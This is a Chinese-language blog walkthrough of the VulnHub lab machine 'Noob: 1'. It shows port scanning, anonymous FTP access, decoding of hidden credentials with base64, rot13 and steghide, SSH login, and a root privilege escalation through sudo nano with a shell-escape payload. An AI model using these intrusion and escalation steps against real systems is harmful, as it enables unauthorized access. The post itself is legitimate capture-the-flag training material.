wait's〔三生石畔〕 善良人在追求中纵然迷惘,却终将意识到有一条正途。—— 歌德
【渗透测试-靶场】No.21:Noob: 1(vulnhub)渗透测试
发表于: | 分类: 安全测试,资格认证 | 评论:0 | 阅读: 1285

一、前言

主要利用方式:FTP匿名登录拿到第一个账号+登录web后可下载rar文件

                    rar文件存在的3个文件,没有一个是废物,皆可用
                    bup和jpg包含txt及py文件,还需要第三个文件作为密码进行结合使用
                    拿到第二个用户密码,ssh登录,查询用户目录中的文件内容
                    拿到第三个用户密码切换用户后,发现无密码sudo提权
                    古老的nano编辑器suid 提权,获取最终的root权限及flag

二、靶机信息

靶场: vulnhub.com
靶机名称: NOOB: 1
难度: 简单
发布时间: 2021 年 9月 22日
下载地址:https://www.vulnhub.com/entry/noob-1,746/
备注:这应该算是一个misc题吧,奇怪的知识涨了很多,深深的被套路
    steghide 工具的使用
    base64、rot13解密
    nano编辑器提权(操作贼复杂麻烦)

三、虚拟机配置
Vmware、网络连接模式:NAT模式、DHCP服务:启用、IP地址:自动分配

四、信息收集
1、探测靶机ip地址
└─$ sudo arp-scan -I eth0 -l

2、探测靶机ip端口及端口具体服务
└─$ sudo nmap -p- 192.168.169.171

└─$ sudo nmap -p21,80,55077 -sV -A 192.168.169.171

3、Ftp任意用户无密码登录,发现两个文件,下载
└─$ ftp 192.168.169.171
Name (192.168.169.171:kali): anonymous
ftp> ls -la
ftp> get cred.txt
ftp> get welcome

4、查看FTP下载下来的两个文件
┌──(kali㉿kali)-[~/Desktop]
└─$ cat cred.txt
Y2hhbXA6cGFzc3dvcmQ=

┌──(kali㉿kali)-[~/Desktop]
└─$ cat welcome

                     WELCOME 

              We're glad to see you here.

                   All The Best 

cred.txt 文件中内容为base64,解码,发现账号和密码
champ:password

5、常规80端口路径扫描及url访问
└─$ dirsearch -u 192.168.169.171

http://192.168.169.171/

6、ftp获取的密码,尝试登录(champ/password)

7、进入网站,点击about us 可以下载文件,保存到本地

进入下载目录,解压rar文件
└─$ unrar x downloads.rar

解压后,文件如下
/home/kali/Downloads/downloads/

五、漏洞利用(突破边界)

8、查看sudo、bmp、jpg文件,进行相对应的破解
查看sudo文件,有提示
“你注意到文件名了吗?不是很有趣吗?”
└─$ cat sudo

使用steghide工具,查看图片文件是否存在隐写
└─$ steghide info funny.bmp
└─$ steghide info funny.jpg

后缀为bmp的文件需要密码,但jpg文件不需要,我们先把jpg文件的隐藏信息提取出来
└─$ steghide extract -sf funny.jpg
└─$ ls -la
└─$ cat hint.py

This is_not a python file but you are revolving around.
well, try_ to rotate some words too.

这个is_不是一个python文件,但你在旋转。
好吧,也试着旋转一些单词。

另外一个文件,无论是查看还是提权,都需要密码,可以写个.sh脚本,因为rar文件中有sudo 文件,尝试使用sudo密码提取bmp的隐藏文件
└─$ steghide extract -sf funny.bmp
Enter passphrase: (sudo)
wrote extracted data to "user.txt".

┌──(kali㉿kali)-[~/Downloads/downloads]
└─$ cat user.txt
jgs:guvf bar vf n fvzcyr bar

User.txt文件内容是一串乱码,刚刚hint.py提示我们把它旋转一下,猜测是rot13加密
wtf:this one is a simple one

9、通过尝试,拿到第二个账号密码,尝试登录网站及ssh登录
http://192.168.169.171/go.php

使用密码(this one is a simple one)55077端口ssh登录,成功登录
└─$ ssh wtf@192.168.169.171 -p 55077

10、全局查询flag文件,查出wtf用户的flag
wtf@wtf:~$ ls -la
wtf@wtf:~$ find -name "flag"
wtf@wtf:~$ cat ./Downloads/flag-1.txt
VGhlIGZsYWcgaXMgdGhlIGVuY29kZWQgc3RyaW5nIGl0c2VsZg

出于这靶场习惯,base64解密后,没啥有用信息

11、尝试提权,失败,查询还有其他用户,所以肯定需要切换到其他用户执行提权

查询到Documents文件下面存在backup.sh文件,查看,发现隐藏密码
wtf@wtf:~$ cd Documents/
wtf@wtf:~/Documents$ ls
backup.sh
wtf@wtf:~/Documents$ cat backup.sh
USER=n00b

aw3s0m3p@$$w0rd

初步猜测账号:n00b,密码为:#aw3s0m3p@$$w0rd或者aw3s0m3p@$$w0rd
经过尝试,正确的账号密码为:n00b/aw3s0m3p@$$w0rd

六、提权
12、常规查询suid权限,sudo权限或者有高权限执行文件,发现nano可以无密码提升root权限
n00b@wtf:/home/wtf/Documents$ sudo -l

13、sudo提权
https://gtfobins.github.io/gtfobins/nano/#sudo
sudo nano
^R^X
reset; sh 1>&0 2>&0

nano的suid提权有点绕,我按照步骤执行

进入nano编辑器内

按ctrl+r,变成以下界面:

再次按ctrl+x,变成如下界面

输入:reset; sh 1>&0 2>&0,

输入完,回车,多按几次回车,输入id,看到root权限

14、提升交互式tty

python3 -c "import pty;pty.spawn('/bin/bash')"

15、查看root目录下的root.txt,以及验证ip
root@wtf:/root# cat root.txt
root@wtf:/root# ip a

添加新评论

TOP